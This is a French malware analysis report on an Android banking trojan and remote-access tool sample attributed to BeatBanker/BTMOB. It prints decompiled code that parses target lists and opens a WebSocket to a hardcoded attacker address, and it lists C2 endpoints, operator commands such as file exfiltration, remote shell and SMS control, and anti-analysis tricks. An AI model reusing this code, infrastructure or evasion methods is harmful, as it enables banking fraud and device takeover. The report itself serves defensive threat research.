// On service start, the connector checks the 'TRK' value from its shared state.
// If it is non-empty and does not begin with the sentinel 'empty|', it splits
// the value on '|', Base64-decodes each entry as UTF-8, then splits each
// decoded entry on the field separator '[<s>]' into four named fields:
// ntrk, ltrk, itrk, ityp. This is the same structure as the live C2 update above.
if (!oxjugojsnjozr.efexbpctvpjlwqee.contains(/* "|" */)
|| oxjugojsnjozr.efexbpctvpjlwqee.startsWith(/* "empty|" */)) {
r00.f(getApplicationContext(), re.e0, false);
return;
}
r00.f(getApplicationContext(), re.e0, true);
for (String str2 : oxjugojsnjozr.efexbpctvpjlwqee.split(/* "|" */)) {
String str3 = new String(Base64.decode(str2, 0), /* "UTF-8" */);
if (str3.length() > 0 && str3.contains(/* "[<s>]" */)) {
String[] strArrSplit = str3.split(/* "[<s>]" */);
String str4 = strArrSplit[0]; // ntrk
String str5 = strArrSplit[1]; // ltrk
String str6 = strArrSplit[2]; // itrk (package name)
String str7 = strArrSplit[3]; // ityp (activation mode)
if (str7.equals(/* "G" */)) {
posvvhbqnqa.x.add(str6.toLowerCase());
}
s.K(str4, str5);
s.H(str4, str6);
s.I(str4);
s.J(str4, str7);
}
}
La capacité à cibler n'importe quelle banque est intégrée au malware ; la liste des banques actuellement ciblées réside sur le serveur C2. Des éléments indépendants, issus d'une vidéo de preuve de concept publiquement disponible de l'interface C2 côté opérateur, corroborent la présence active de noms de package bancaires dans les listes de cibles de l'opérateur dans la nature.
Capture d'écran et diffusion de phishing
Au-delà de l'interaction pilotée par l'accessibilité, le connecteur met en œuvre une capture d'écran continue via l'API MediaProjection d'Android. VirtualDisplay, ImageReader et un transport WebSocket forment un pipeline de streaming en direct vers l'opérateur.
La capture d'écran est indépendante de l'accessibilité : API Android différente, permission différente (FOREGROUND_SERVICE_MEDIA_PROJECTION), boîte de dialogue de consentement différente, que le kit de leurres est spécifiquement conçu pour obtenir. Un opérateur disposant à la fois de l'accessibilité et de la capture d'écran bénéficie d'une visibilité redondante : si un flux se dégrade, l'autre continue.
Diffusion de phishing à l'activation d'une cible. Lorsqu'un package ciblé passe au premier plan et que le mode G s'active, le connecteur peut diffuser du contenu de phishing par trois mécanismes :
- Une WebView plein écran chargée depuis le kit de leurres HTML local (activité cofsbfpmyxowwuea).
- Une Activity factice de verrouillage ou de saisie d'identifiants (activité dhsesufepsplsmqcghx) superposée à l'application légitime.
- Une manipulation directe, pilotée par l'accessibilité, de l'interface même de l'application légitime (remplissage automatique des champs, soumission de formulaires, autorisation de transactions), sans overlay (via le service d'accessibilité posvvhbqnqa).
Le troisième mécanisme est le défi de la détection : aucune empreinte de fenêtre d'overlay que les défenses sur l'appareil pourraient repérer, puisqu'il n'y a pas d'overlay. Le malware utilise l'application bancaire réelle de la victime pour le compte de l'opérateur, au moyen de la session authentifiée de la victime. Du point de vue du backend de la banque, chaque action provient de l'appareil et de la session de l'utilisateur légitime, parce que c'est bien le cas.

Figure 5 : faux écran de capture d'identifiants ou de verrouillage par code PIN : l'overlay de phishing que le connecteur présente après l'activation du ciblage par accessibilité sur une application surveillée.
Architecture de communication C2
Le connecteur maintient deux canaux parallèles vers l'infrastructure de l'opérateur.
Canal principal : WebSocket persistant.
// APK: connector.predictor.messenger — split DEX
// JADX source: sources/filterpredictor/loggermuxer/daemonallocatorx/daemonprober/gz.java (L291)
//
// The connector instantiates an OkHttpClient and opens a persistent WebSocket
// to the URL returned by re.c(). The WebSocket listener (C0054a) handles
// incoming operator commands in real time.
public void run() {
OkHttpClient unused = gz.a = new OkHttpClient();
gz.f = gz.a.newWebSocket(new Request.Builder().url(re.c()).build(), new C0054a());
}
Le point de terminaison C2 est configurable à l'exécution. re.c() n'est pas une constante. La méthode (re.java L201–216) lit un champ configurable à l'exécution re.c, initialisé à vide, effectue un test de joignabilité sur les valeurs configurées, et ne se rabat sur une chaîne obfusquée codée en dur, décodée en ws://195.160.221.203:8080/, que si aucune valeur configurée n'est joignable. L'adresse IP codée en dur est le repli ; un opérateur peut rediriger l'emplacement principal par une mise à jour de configuration, sans pousser de nouvel APK. Bloquer 195.160.221.203 coupe le repli, mais n'empêche pas la redirection vers une nouvelle infrastructure arbitraire.
Canal secondaire : rapports et tâches via HTTP.
| Canal | Point de terminaison | Rôle |
|---|---|---|
| C2 WebSocket principal (repli) | ws://195.160.221.203:8080/ | Contrôle opérateur bidirectionnel en temps réel |
| Rapport d'erreurs | http://45.149.114.40/yaarsa/private/log_error.php | Télémétrie de plantages/erreurs côté malware |
| Tâches / configuration | http://45.149.114.40/yaarsa/private/yarsap_80541.php | Récupération de tâches planifiées |
| Redirection / reconfiguration | https://famelack.com/ | Point de terminaison de redirection contrôlé par l'opérateur |
Le jeu complet de commandes de l'opérateur. Les gestionnaires du répartiteur récupéré montrent un RAT Android généraliste, et non un outil étroit d'overlay bancaire :
| Commande | Capacité |
|---|---|
| screen / scread | Capture et diffusion d'écran en direct |
| upload | Exfiltration de fichiers vers le C2 |
| bot | Automatisation pilotée par l'accessibilité (toucher, balayer, saisir) |
| brows | Contrôle des sessions de navigateur (Chrome, Firefox, Samsung Browser, Brave, Opera, Edge, DuckDuckGo) |
| clip | Lecture/écriture du presse-papiers |
| file / srh | Recherche de fichiers par catégorie, copie, déplacement |
| loc | Localisation de l'appareil |
| mic | Accès au microphone |
| sms | Lecture et envoi de SMS |
| net / trm | Shell réseau / exécution à distance de type telnet |
| miner | Contrôle du démarrage/arrêt du mineur |
| lock | Verrouillage de l'appareil / écran de blocage |
| red | Redirection / reconfiguration |
| DDS | Contrôleur du moteur de DoS/flooding |
| calf | Renvoi d'appels |
| ject / lject | Utilitaires d'injection de code |
| update | Mise à jour automatique du payload |
| clone | Clonage / réplication de l'application |
| optns | Mise à jour de la configuration à l'exécution |
| add | Inventaire de l'appareil / instantané de télémétrie |
| spng | Instantané de l'état du spyware (tampon de keylogger, URL actives, flux de notifications, état de la surveillance) |
| blker | Contrôle du blocage (machine à états de blocage des SMS / appels) |
| wrk | Bus de paquets interne des workers d'arrière-plan |
| chat | Lance l'activité de chat sur l'appareil |
| fetch | Énumère les numéros de téléphone des SIM actives ou télécharge des fichiers arbitraires |
| bc | Pilote les flux d'alertes / notifications visibles par l'utilisateur |
| tols | Actions utilitaires générales : affichage de toast, ouverture d'URL, synthèse vocale, contrôle de la torche, changement du volume |
Capacité annexe de contournement de la détection : liste noire d'hôtes ads.txt. Le payload embarque un fichier assets/ads.txt encodé en XOR qui se décode en une liste d'environ 75 873 noms d'hôtes publicitaires et d'analytique, utilisée par l'activité cofsbfpmyxowwuea (l'hôte WebView des leurres) pour filtrer les requêtes réseau publicitaires et d'analytique du contenu rendu dans la WebView. Les pages de leurre s'affichent proprement, sans le bruit de tiers qui pourrait créer des signaux réseau secondaires.
L'étape 4 est le moment où l'impact métier se concrétise. La boîte à outils de fraude est complète : interception des OTP, manipulation de transactions pilotée par l'accessibilité, observation de l'écran en direct, diffusion d'overlays de phishing et blocage des appels/SMS pendant la fraude (blker). La détection exige une visibilité sur le terminal, pas une inspection du réseau : bloquer l'adresse IP de repli codée en dur ne coupe pas un C2 principal reconfigurable à l'exécution.
Techniques d'anti-analyse
L'échantillon est conçu pour résister à l'analyse à chaque couche que l'analyste aborde naturellement en premier. Sept techniques ont été identifiées dans l'échantillon. Prises une à une, elles sont modestes ; ensemble, elles constituent une posture de défense en profondeur qui augmente sensiblement le coût de l'analyse.
Métadonnées ZIP falsifiées
L'APK externe n'est pas une archive ZIP valide au sens strict de la spécification. resources.arsc et AndroidManifest.xml ont tous deux leurs en-têtes de fichier locaux marqués comme chiffrés, utilisent des méthodes de compression non définies (respectivement 0x598F et 0x8DCF, aucune n'étant une méthode ZIP standard) et déclarent une taille compressée de zéro, alors que les données réelles de chaque entrée suivent l'en-tête sous forme d'octets bruts.
Les outils Android standard sont suffisamment stricts sur la conformité ZIP pour que ces entrées provoquent des échecs d'analyse ou des rapports structurels erronés : apktool et aapt refusent tous deux de traiter correctement l'archive. Une inspection manuelle du répertoire central du ZIP et une réécriture des en-têtes mal formés sont nécessaires avant que l'APK puisse être traité par les outils d'analyse statique habituels. Le chargeur d'exécution d'Android lui-même est assez permissif pour accepter l'archive et installer l'application normalement.
Architecture de bootstrap natif
Les méthodes critiques du cycle de vie de la sous-classe Application injectée dans l'APK externe (attachBaseContext et onCreate) sont déclarées natives et entièrement implémentées dans une bibliothèque partagée ARM (libmetaspermousdevitrifiednoiseful.so). Le même schéma est réutilisé dans la sous-classe Application c6xmV4.java de l'auxiliaire de l'étape 3, adossée à liblixhokfsmav.so. JADX et tout autre décompilateur de la couche Java auquel on présente ces classes ne voit que des signatures de méthodes vides : aucun bytecode, aucune logique à analyser.
Chiffrement des payloads par étapes
Le véritable payload de chaque étape est stocké dans le répertoire assets/ de l'étape précédente sous la forme d'un blob chiffré à forte entropie, avec des noms de fichiers choisis pour ressembler à des identifiants d'assets opaques plutôt qu'à des types de fichiers reconnaissables. Deux chiffrements différents sont utilisés : un XOR répété pour les DEX de bootstrap, et AES/CBC/PKCS5Padding avec des clés de 128 bits dérivées du basename de l'asset par troncature SHA-1 pour les APK et archives ZIP en aval.
Chargement de DEX en mémoire
Les DEX de payloads déchiffrés ne sont jamais écrits dans les chemins du disque qu'un scanner surveillerait. À la place, le code de bootstrap modifie le class-loader : il manipule par réflexion le tableau dexElements du class-loader parent sur les anciens niveaux d'API Android, ou invoque directement makeInMemoryDexElements à partir de l'API 29. Les payloads préparés s'exécutent comme de véritables applications Android, sans apparaître comme des APK installés ni comme des fichiers DEX sur disque dans un chemin de stockage standard.
Obfuscation des chaînes à plusieurs niveaux
Deux enveloppes distinctes d'obfuscation des chaînes sont utilisées en parallèle :
- rf0.a() : chiffrement simple par XOR répété. Utilisé pour les chaînes en grand nombre, dont le déchiffrement doit être peu coûteux à l'exécution.
- s00.a() : AES/CBC/PKCS5Padding avec une clé de 128 bits dérivée par PBKDF2WithHmacSHA1 avec 65 536 itérations. Réservé aux chaînes sensibles sur le plan opérationnel : URL, noms de commandes, motifs de packages ciblés.
Cette hiérarchisation traduit une défense réfléchie : l'auteur réserve le coûteux AES-PBKDF2 aux chaînes les plus importantes, et traite les autres avec un XOR peu coûteux.
Détection d'émulateur
La classe Activity principale czjjzmkujkl effectue une détection d'émulateur à la ligne 106 en consultant trois méthodes auxiliaires de p0.java (p0.f0(), p0.m0() et p0.o0()), dont chacune compare Build.BRAND à une chaîne de marque obfusquée afin d'identifier les empreintes d'émulateurs courants. Le comportement en cas de détection n'est ni un plantage brutal, ni une sortie immédiate. À la place, le résultat de la détection sert à choisir entre deux blobs de configuration ; lorsqu'un émulateur est détecté, l'échantillon poursuit avec le blob alternatif plutôt qu'avec le blob normal.
Observations de clôture
Deux aspects de la conception d'anti-analyse de cet échantillon sont assez spécifiques pour mériter d'être soulignés.
La falsification du ZIP est chirurgicale. Seules deux entrées de l'APK externe, resources.arsc et AndroidManifest.xml, portent des métadonnées falsifiées (méthodes 0x598F et 0x8DCF). Toutes les autres entrées sont valides. Ce schéma chirurgical limité à deux fichiers est suffisamment distinctif pour servir d'indicateur de famille parmi les échantillons BeatBanker / BTMOB.
La dérivation de la clé AES est accessible à l'analyste. Le DexLoader de l'étape 3 dérive sa clé de 128 bits en calculant SHA-1(basename_of_asset_path)[:16]. Comme la clé est dérivée du nom de fichier et non d'un secret contenu dans la bibliothèque native, tout analyste qui obtient l'asset chiffré peut en dériver la clé sans faire de rétro-ingénierie du code natif. Le chiffrement joue ici le rôle de friction anti-scanner, et non de véritable barrière pour une analyse déterminée.
Attribution : BeatBanker / BTMOB
Contexte sur le cluster
BeatBanker et BTMOB sont des familles de malwares Android distinctes mais apparentées, documentées dans plusieurs sources de recherche sur les menaces indépendantes. BeatBanker, documenté par Securelist de Kaspersky et résumé par BleepingComputer, est une plateforme Android de banker/mineur à étapes, diffusée via des applications utilitaires trojanisées. BTMOB est une famille de RAT, documentée indépendamment par Cyble comme une évolution de SpySolr, que les échantillons récents de BeatBanker déploient à la place d'un module bancaire antérieur.
Sources publiques : - Securelist (Kaspersky): BeatBanker miner and banker — https://securelist.com/beatbanker-miner-and-banker/119121/ - BleepingComputer: New BeatBanker Android malware poses as Starlink app to hijack devices — https://www.bleepingcomputer.com/news/security/new-beatbanker-android-malware-poses-as-starlink-app-to-hijack-devices/ - Cyble: BTMOB RAT: Newly discovered Android malware — https://cyble.com/blog/btmob-rat-newly-discovered-android-malware/
Les caractéristiques distinctives du cluster BeatBanker comprennent la livraison d'APK par étapes via des applications utilitaires trojanisées, des chaînes de bootstrap en code natif, une signalisation de commande et de réveil basée sur Firebase, l'abus du service d'accessibilité sur les payloads en aval et le déploiement parallèle d'un cryptomineur comme canal de monétisation secondaire.
Indicateurs d'infrastructure
| Indicateur | Lien avec BeatBanker / BTMOB |
|---|---|
| accessor.fud2026.com | Cité individuellement dans les rapports publics de Securelist |
| accessor.fud2026.org | Non cité individuellement dans les rapports publics : récupéré uniquement dans cet échantillon (même famille de domaines que le .com rapporté) |
| pool.fud2026.com | Cité individuellement dans les rapports publics de Securelist |
| pool.fud2026.com:8443 | Même famille de domaines que le .com rapporté |
| pool-proxy.fud2026.com:8443 | Cité individuellement dans les rapports publics de Securelist |
| aptabase.khwdji319.xyz:8443 | Apparaît dans le cluster de télémétrie BeatBanker rapporté publiquement |
La famille de domaines fud2026.* est le plus solide point d'ancrage unique de l'attribution : elle apparaît à plusieurs endroits de cet échantillon (téléchargeur, pool, proxy du pool) et constitue un indicateur nommé dans les rapports publics sur le cluster BeatBanker.
Cohérence comportementale
Les schémas architecturaux et opérationnels de l'échantillon s'alignent sur les caractéristiques publiquement documentées de BeatBanker / BTMOB dans toutes les dimensions majeures :
- Livraison d'APK par étapes via une application utilitaire trojanisée (étape 1, LumoLight).
- Bootstrap en code natif interceptant attachBaseContext et onCreate sur plusieurs étapes (étapes 1 et 3).
- Firebase Cloud Messaging comme canal de réveil et d'attribution de tâches (étape 2).
- Faux flux de leurre de configuration, de VPN et d'activation de l'accessibilité comme principal moyen d'obtenir une escalade de privilèges (étape 4).
- Déploiement parallèle d'un cryptomineur comme canal de monétisation secondaire (étape 3).
Chacun de ces éléments est individuellement documenté dans les rapports publics sur le cluster BeatBanker. La présence des cinq dans le même échantillon, dans la même séquence et avec la même relation architecturale, est en soi un indicateur d'appartenance à la famille, indépendamment du recoupement d'infrastructure.
Conclusion
TV_V_23.apk n'est pas une application autonome : c'est un composant d'une opération soutenue, conçue de façon professionnelle par un acteur malveillant, bâtie pour survivre durablement sur les appareils infectés.
Le schéma architectural est l'identifiant. Les noms de packages, les clés, les points de terminaison C2 et le HTML des leurres peuvent tous être renouvelés sans réécrire la plateforme. Ce qui se renouvelle difficilement, c'est l'architecture : couche externe d'utilitaire trojanisé, bootstrap natif avec payloads chiffrés par étapes, réveil basé sur Firebase, opérateur en APK fractionné avec ciblage piloté par l'accessibilité, monétisation parallèle par mineur, obfuscation des chaînes à plusieurs niveaux, C2 configurable à l'exécution. L'ingénierie de détection doit cibler l'architecture, pas les artefacts.
La surface de menace est comportementale, pas technique. Aucune vulnérabilité n'a été exploitée. Chaque capacité repose sur des permissions que la victime a accordées sur un appareil non modifié. Les correctifs et le durcissement de l'OS ne sont pas les contre-mesures pertinentes ; le sont en revanche la détection comportementale de l'usage abusif de l'accessibilité, l'attestation d'intégrité de l'appareil à la connexion à l'application bancaire, la détection d'anomalies sur les schémas d'interaction lors des transactions, et une sensibilisation des clients calibrée sur le mode opératoire de cette famille.
La menace reviendra. BeatBanker / BTMOB présente une continuité d'un échantillon et d'une génération d'infrastructure à l'autre. L'absence de ciblage codé en dur est le mécanisme par lequel les opérateurs changent de cible, quel que soit l'établissement et à tout moment. Les clients touchés dans l'incident signalé ne seront probablement pas les derniers. Traiter cette réponse comme une remédiation ponctuelle plutôt que comme le premier tour d'un engagement durable serait une erreur de planification.
Les forces du malware sont structurelles ; celles du défenseur doivent l'être aussi. Les défenses ponctuelles verront leur valeur diminuer à mesure que la campagne gagne en maturité.